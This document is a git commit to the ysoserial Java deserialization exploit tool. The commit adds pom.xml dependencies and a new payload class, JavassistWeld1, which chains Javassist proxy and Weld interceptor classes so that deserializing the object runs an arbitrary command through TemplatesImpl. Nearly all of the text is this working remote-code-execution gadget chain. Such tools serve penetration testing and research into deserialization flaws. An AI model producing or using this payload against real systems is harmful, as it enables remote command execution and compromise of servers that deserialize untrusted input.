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Adding a Javassist/Weld gadget to ysoserial.

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This commit is contained in:
Matthias Kaiser
2016-07-26 16:15:42 +02:00
parent 2ae8b051a5
commit 8698844034
2 changed files with 98 additions and 0 deletions
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pom.xml
+10
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@@ -257,6 +257,16 @@
<artifactId>js</artifactId>
<version>1.7R2</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.jboss.weld</groupId>
<artifactId>weld-core</artifactId>
<version>1.1.33.Final</version>
</dependency>
</dependencies>
<profiles>
src/main/java/ysoserial/payloads/JavassistWeld1.java
+88
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@@ -0,0 +1,88 @@
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.util.proxy.ProxyFactory;
import javassist.util.proxy.ProxyObject;
import javassist.util.proxy.RuntimeSupport;
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
import org.jboss.weld.interceptor.builder.MethodReference;
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
import org.jboss.weld.interceptor.spi.model.InterceptionType;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import java.lang.reflect.Constructor;
import java.util.*;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final"})
public class JavassistWeld1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object gadget = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
defaultMethodMetadataConstructor.setAccessible(true);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return gadget;
}
};
InterceptorMethodHandler interceptorMethodHandler = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
ProxyFactory proxyFactory = new ProxyFactory();
proxyFactory.setSuperclass(HashMap.class);
ProxyObject proxy = (ProxyObject) proxyFactory.createClass().newInstance();
proxy.setHandler(interceptorMethodHandler);
return RuntimeSupport.makeSerializedProxy(proxy);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(JavassistWeld1.class, args);
}
}